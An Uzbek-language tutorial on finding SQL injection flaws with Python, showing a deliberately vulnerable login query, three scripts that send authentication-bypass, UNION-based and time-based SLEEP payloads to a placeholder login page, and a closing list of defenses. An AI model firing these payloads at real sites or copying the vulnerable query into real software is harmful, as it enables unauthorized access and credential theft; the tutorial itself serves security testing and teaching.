Python bilan SQL Injection zaifliklarini aniqlash

SQL Injection zaifliklarini aniqlash — bu xavfsizlikni tekshirishning muhim qismidir, ayniqsa, veb-ilovalar uchun. SQL Injection zaifliklari, ayniqsa, foydalanuvchilar tomonidan kiritiladigan ma’lumotlar xavfsiz tekshirilmasa, katta xavf tug‘diradi. Ushbu qo‘llanmada Python yordamida SQL Injection zaifliklarini aniqlash uchun qanday usullarni qo‘llashni ko‘rsataman. Misollar orqali SQL Injection zaifliklarini aniqlashning asosiysi tushuntiriladi.

1. SQL Injection Zaifliklari Nima?

SQL Injection — bu foydalanuvchi tomonidan yuborilgan ma’lumotlar orqali SQL so‘rovlariga zarar yetkazish yoki ularni manipulyatsiya qilishni anglatadi. Agar dastur foydalanuvchidan kiritilgan qiymatlarni to‘g‘ri tekshirmasa va ular bevosita SQL so‘rovlariga kiritilsa, bu zaiflik paydo bo‘ladi.

Misol (Xavfli kod):

import sqlite3

# Foydalanuvchi kiritmasi
username = input("Foydalanuvchi nomi: ")
password = input("Parol: ")

# Xavfli SQL so‘rov
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
connection = sqlite3.connect('example.db')
cursor = connection.cursor()
cursor.execute(query)
result = cursor.fetchall()

Agar foydalanuvchi ' OR '1'='1 kiritgan bo‘lsa, yuqoridagi SQL so‘rovida zaiflik bo‘ladi, chunki bu har doim True bo‘ladi va foydalanuvchi tizimga o‘tib ketishi mumkin

2. SQL Injection Zaifligini Aniqlash Usullari

Python yordamida SQL Injection zaifliklarini aniqlash uchun quyidagi usullarni qo‘llaymiz:

  • Foydalanuvchi kiritmalarini tekshirish

  • Xatoliklarni aniqlash (Error-based SQL Injection)

  • Blind SQL Injectionni sinash (ma'lumotlar qaytarilmasa ham)

3. Foydalanuvchi Kiritmalarini Tekshirish

Foydalanuvchi kiritmalarini manipulyatsiya qilib, tizimning zaifligini aniqlashni boshlaymiz.

Misol:

Quyidagi Python skripti yordamida SQL Injection zaifliklarini aniqlaymiz. Skript kiritilgan foydalanuvchi ma'lumotlarini sinab ko‘radi va tizim qanday javob qaytarishini tekshiradi.

import requests

# Target URL (bu yerda saytning login sahifasi URL manzili keltiriladi)
url = "http://target-site.com/login"

# SQL Injection payloadlarining ro'yxati
payloads = [
    "' OR '1'='1",
    "' OR 'a'='a",
    "' UNION SELECT null, username, password FROM users--",
    "' OR '1'='1' --",
    "' OR 1=1 --"
]

# Har bir payloadni yuborish
for payload in payloads:
    data = {
        'username': 'admin',
        'password': payload
    }
    
    response = requests.post(url, data=data)
    
    # Agar "Welcome" yoki boshqa login sahifasiga oid matn qaytarsa, hujum muvaffaqiyatli bo‘ladi
    if "Welcome" in response.text:  
        print(f"SQL Injection muvaffaqiyatli bo'ldi: {payload}")
    else:
        print(f"SQL Injection muvaffaqiyatsiz: {payload}")

Tahlil:

  • Skript turli SQL Injection payloadlarini foydalanuvchi nomi va paroliga kiritadi va veb-ilovaga yuboradi.

  • Agar tizim "Welcome" matnini qaytarsa, demak hujum muvaffaqiyatli bo‘lgan va tizim SQL Injectionni qo‘llab-quvvatlamoqda.

4. Error-based SQL Injection

Error-based SQL Injection, tizimda xatolik bo‘lishi va xatolik matnlaridan foydalangan holda ma’lumot olishga urinishdir. Agar SQL so‘rovi bajarilsa va tizim xatolik matnini qaytarsa, bu SQL Injection zaifligini ko‘rsatadi.

Misol:

Agar tizim xatolikni qaytarayotgan bo‘lsa, Error-based SQL Injectionni aniqlash mumkin.

import requests

# Target URL
url = "http://target-site.com/login"

# SQL Injection payloadlarining ro'yxati
payloads = [
    "'",
    "' OR 1=1--",
    "' OR '1'='1' --",
    "' OR 1=2 --"
]

# Har bir payloadni yuborish
for payload in payloads:
    data = {
        'username': 'admin',
        'password': payload
    }
    
    response = requests.post(url, data=data)
    
    # Agar xatolik matni bo‘lsa, bu SQL Injectionning mavjudligini anglatadi
    if "error" in response.text.lower():
        print(f"Xatolik matni topildi: {payload}")
    else:
        print(f"Xatolik matni topilmadi: {payload}")

Tahlil:

  • Bu skript username va password parametrlariga turli payloadlarni yuboradi.

  • Agar tizim "error" matnini qaytarsa, bu tizimda SQL Injection mavjudligini ko‘rsatadi, chunki tizim xatolikni qaytaradi.

5. Blind SQL Injection

Blind SQL Injection — bu tizim xatoliklarini yoki foydalanuvchiga ma’lumotlar ko‘rsatilishini bermasdan SQL Injection zaifligini aniqlash usulidir. Blind SQL Injectionda tizimning javobi faqat True yoki False holatidagi qiymatga asoslangan bo‘ladi.

Misol: Blind SQL Injectionni sinash uchun, tizimga turli foydalanuvchi kiritmalarini yuborib, tizimning javob vaqtiga qarab hujumni amalga oshiramiz.

import requests
import time

# Target URL
url = "http://target-site.com/login"

# SQL Injection payloadlarining ro'yxati
payloads = [
    "' OR IF(1=1, SLEEP(5), 0)--",  # Bu payload tizimni 5 soniya kutishga majbur qiladi
    "' OR IF(1=2, SLEEP(5), 0)--"   # Bu payload tizimni kutishga majbur qilmaydi
]

# Har bir payloadni yuborish
for payload in payloads:
    data = {
        'username': 'admin',
        'password': payload
    }
    
    start_time = time.time()
    response = requests.post(url, data=data)
    end_time = time.time()
    
    # Agar tizim 5 soniya kutsa, demak SQL Injection muvaffaqiyatli bo‘lgan
    if end_time - start_time > 5:
        print(f"Time-based SQL Injection muvaffaqiyatli bo'ldi: {payload}")
    else:
        print(f"Time-based SQL Injection muvaffaqiyatsiz: {payload}")

Tahlil:

  • Agar tizim 5 soniya kutsa, demak SQL Injection muvaffaqiyatli amalga oshgan, chunki SLEEP(5) buyruqi tizimni 5 soniya kutishga majbur qiladi.

6. SQL Injection Zaifliklarini Aniqlashda Qo‘llaniladigan Python Kutubxonalari

  • Requests: HTTP so‘rovlarini yuborish uchun.

  • BeautifulSoup: Veb-sahifalarni tahlil qilish uchun.

  • Selenium: Dinamik veb-sahifalar bilan ishlash uchun (AJAX yoki JavaScript-yordamida yuklanadigan sahifalar).

  • SQLMap: SQL Injectionni avtomatik ravishda aniqlash va ekspluatatsiya qilish uchun.

7. Xavfsizlikni Ta'minlash va SQL Injectiondan Himoyalanish

SQL Injection zaifliklarini aniqlashdan so‘ng, tizimni himoya qilish muhimdir. Himoya choralariga quyidagilar kiradi:

  1. Tayyorlangan so‘rovlar (Parameterized Queries).

  2. ORM (Object-Relational Mapping) kutubxonalaridan foydalanish (Django ORM, SQLAlchemy).

  3. Foydalanuvchi kiritmalarini to‘g‘ri sanitizatsiya qilish.

  4. Error-based SQL Injection uchun xatoliklarni yashirish.

Xulosa

Python yordamida SQL Injection zaifliklarini aniqlash va ekspluatatsiya qilish, veb-ilovalarni xavfsizligini tekshirishning muhim qismidir. Bu texnikalarni faqat ruxsat etilgan tizimlarda, xavfsizlikni tekshirish uchun ishlatish zarur.

Last updated